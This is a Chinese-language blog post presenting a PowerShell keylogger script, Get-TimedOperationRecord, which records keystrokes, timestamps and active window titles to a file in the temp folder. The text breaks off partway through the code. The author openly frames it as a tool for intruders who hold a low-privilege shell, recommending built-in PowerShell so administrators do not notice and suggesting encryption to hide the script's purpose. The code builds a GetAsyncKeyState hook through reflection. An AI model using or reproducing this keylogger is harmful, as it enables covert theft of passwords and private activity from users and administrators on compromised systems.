PowerShell小技巧之定时记录操作系统行为

作为系统管理员，有些时候是需要记录系统中的其他用户的一些操作行为的，例如：当系统管理员怀疑系统存在漏洞，且已经有被植入后门或者创建隐藏账户时，就需要对曾经登陆的用户进行监控，保存其打开或者操作过的文件。或者在另外一个场景，当黑客拿下一个普通权限的shell之后，想看看最近有哪些用户登陆过，操作过什么，以便根据用户习惯采取进一步行动获取更高权限，这个时候记录用户行为就显得很重要了。

      可能有读者觉得此时安装个监控软件不就行了么，拜托，你入侵别人的系统，你装个监控软件，你把管理员试做无物么？这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处，系统自带，不会被管理员发现异常，脚本不用编译，如果脚本内容再加个密，他们更猜不出是干什么用的，嘿嘿。如果要记录几个特性用于记录啥时候干了什么，无非要记录的有几样内容：操作，哪个文件或程序，时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了，有啥问题的读者可以给我留言询问，基本上关键语句都有注释的。代码如下：

 =====文件名：Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod